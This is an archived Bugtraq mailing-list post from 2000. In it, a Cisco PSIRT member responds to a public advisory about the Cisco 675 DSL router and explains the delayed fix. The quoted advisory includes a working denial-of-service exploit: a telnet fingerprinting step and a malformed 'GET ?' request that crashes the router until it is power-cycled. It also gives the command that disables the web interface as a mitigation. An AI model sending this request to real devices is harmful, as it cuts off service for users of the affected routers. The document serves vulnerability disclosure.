[17873] in bugtraq
Re: Cisco 675 Denial of Service Attack
daemon@ATHENA.MIT.EDU (Lisa Napier)
Fri Dec 1 12:21:55 2000
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Message-ID: <4.3.2.7.2.20001130144852.03e07ef0@171.70.24.186>
Date: Thu, 30 Nov 2000 18:20:42 -0800
Reply-To: Lisa Napier <lnapier@CISCO.COM>
From: Lisa Napier <lnapier@CISCO.COM>
X-To: CDI <cdi@thewebmasters.net>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <Pine.LNX.3.95.1001128154046.26579B-100000@animal.blarg.net >
Content-Transfer-Encoding: 8bit
Hi all,
Yes, we were given plenty of notice on this issue, and from the outside it
may look like we've ignored the issue. We had an advisory scheduled on
this issue two weeks ago which was delayed due to availability of fixed code.
Cisco's PSIRT team does read Bugtraq carefully, and we've taken much of the
criticisms and recent discussions to heart, and are constantly reviewing
our policies & procedures for improvements. We very much want to do the
right thing for our customers and the community at large. It can be
difficult to maintain a proper perspective, and a gracious attitude to
those in the community doing testing and reporting. Some days it feels
like "they're out to get us", which is entirely the wrong attitude, but it
happens.
CDI did notify us of this problem in January, I personally worked on the
problem, but was unable to reproduce the problem. It was not obvious upon
code review what could have been happening. As other things that were
reproducible came up, my attention was focused elsewhere. Another
colleague picked up the issue and was able to reproduce the problem. It
came down to a difference in the telnet clients we used. That took several
months, unfortunately.
When we finally found that vulnerability, we also identified a couple of
other security issues with the box. We chose to fix all the issues at the
same time, rather than forcing folks to upgrade for security issues on two
separate advisories very close together.
So we will have a full advisory on this issue, and a couple of other issues
shortly.
This issue did take a long time to disclose, and due to this problem we are
reviewing our policies to determine what we should do differently in the
future.
CDI was far more than patient with us, and our team appreciates CDI working
with us. It is a fine balance of ensuring that we notify our customers as
expeditiously as possible, while delivering quality fixes.
Thanks much,
Lisa Napier
Product Security Incident Response Team
Cisco Systems
At 04:01 PM 11/28/2000 -0800, CDI wrote:
>OK, since everyone is up-in-arms over vendor notification and their
>response times, here's an example of what happens if you give a vendor too
>-much- time.
>-----------------
>
>Title : Cisco 675 Web Administration Denial of Service
>Device: Cisco 675 DSL Router
>Class : Denial of Service (remote)
>
>Vendor Notified: January 10th, 2000 (Yes folks, 11 months ago)
>
>Patch Available: Nope - see below
>
> ---------------------------------
>
> The Cisco 675 DSL routers with the Web Administration Interface enabled
>can be crashed (hard) using a simple GET request. CBOS versions 2.0.x
>through 2.2.x have been found to be vulnerable. The new CBOS 2.3.x has not
>been tested, but there are no notes in the 2.3.x changelogs to indicate that
>they've fixed this problem. Effected 675s were configured in PPP mode. The
>'Web Administration Interface' is enabled by default in CBOS revisions 2.0.x
>and 2.2.x.
>
>The Cisco 67x series of DSL routers are produced and distributed for
>specific telcos to offer to their clients and as such, the installation base
>is quite large. (To hazzard a guess, if just 20% of all Qwest DSL users are
>using Cisco 675s, the installation base would exceed 25,000) The DSL
>adapters in this series include: Cisco 673, Cisco 675, Cisco 675e, Cisco
>676, Cisco 677, and Cisco 678. This advisory applies specifically to the 675
>but other adapters in this series may have similar problems and should be
>tested for vulnerability to this type of attack. I would be interested in
>the results if someone has access to and can test the other adapters in this
>series. The CBOS codebase is an aquired OS and as such, has no relationship
>at all to the main Cisco IOS codebase.
>
>Fix First:
> Disable the Web Based Administration Interface in your 675 until a
> patch or CBOS revision is made available.
>
> Web Server Disable commands: (2.0.x or better)
> (CBOS 'enable' mode)
> cbos# set web disabled
> cbos# write
> cbos# reboot
>
>Exploit:
> First find a 675 with the Web Admin server running.
>
>Fingerprint:
> telnet vic.tim.ip.addr 80
> Connected to vic.tim.ip.addr.
> Escape character is '^]'.
> GET / HTTP/1.0
> HTTP/1.0 401 Unauthorized
> Content-type: text/html
> WWW-Authenticate: Basic realm="CISCO_WEB"
>
> <CENTER><h1>Unauthorized Access 401</h1></center>
> Connection closed by foreign host.
>
>Now kill it:
> telnet vic.tim.ip.addr 80
> Trying vic.tim.ip.addr...
> Connected to vic.tim.ip.addr.
> Escape character is '^]'.
> GET ? [LF][LF]
>
>(your telnet session dies here, and so does the router)
>
>Dead as a post:
> ping -c5 vic.tim.ip.addr
> PING vic.tim.ip.addr (vic.tim.ip.addr): 56 data bytes
> 5 packets transmitted, 0 packets received, 100% packet loss
>
>The Cisco never recovers - it's hosed until the router is power-cycled. A
>simple 'GET ? \n\n' is all it takes to kill the router. In case you're
>wondering, I had meant to enter 'GET /', but my finger slipped on the shift
>key. Neat eh?
>
>VENDOR RESPONSE: None, and I'll tell you why. (Warning, long rant ahead that
>has nothing to do with the guts of this advisory.)
>
>I first notified 'security-alert@cisco.com' in January of this year. Got an
>immediate response and all seemed well. Then I didn't hear back from them
>for a couple of months and promptly forgot all about this. Then in April the
>'Cisco IOS Software TELNET Option Handling Vulnerability' (see
>http://www.securityfocus.com/archive/1/56207) was announced. This
>vulnerability was very similar to the Cisco 675 problem and I re-contacted
>Cisco. They claimed they were "still working on replicating the error". Uh,
>OK, whatever. I placed it on the back-burner and promptly forgot all about
>it again because I didn't want to announce this vulnerability until a vendor
>approved fix was available. (The installation base for this adapter is
>humongous) Then in October of this year some discussion of a potential
>problem with the Cisco 678 occured on the VULN-DEV mailing list. A Cisco rep
>on the list had the audacity to complain about prior-notification. (Never
>mind that VULN-DEV is designed specifically to investigate potential
>vulnerabilities) Anyway, the issue was again brought before Cisco, they
>again promised to address this issue.
>
>The conversation on VULN-DEV prompted some private correspondence with CORE
>SDI. The last I heard from Cisco was actually by way of Iván Arce at CORE
>SDI who wanted more information regarding the Cisco 675 problem while he
>investigated the CISCO IOS and it's Web Admin bugs. (See CORE-20002510,
>BugTraq ID 1838) The vulnerabilities are strikingly similar even though IOS
>is a completely separate codebase from CBOS. Anyway, CORE got word from
>Cisco PSIRT that they would be addressing this issue by "mid November".
>
>Needless to say, this hasn't happened yet.
>
>This week's discussion of vendor notification and response times was just
>gravy.
>
>It should also be noted that since January, Cisco has released at least 2
>updates to the CBOS 2.x series, without addressing this issue. (no mention
>of it in their changelogs, although to be fair I've yet to have the
>opportunity to test this bug against either 2.3.0 or 2.3.5.)
>
>CDI
>____________________________________
>The Web Master's Net
>http://www.thewebmasters.net/
> "Ok spammer, I'll 'just hit delete'. You can be 'Delete'."
> -- Ron "SuperTroll" Ritzman, NANAE
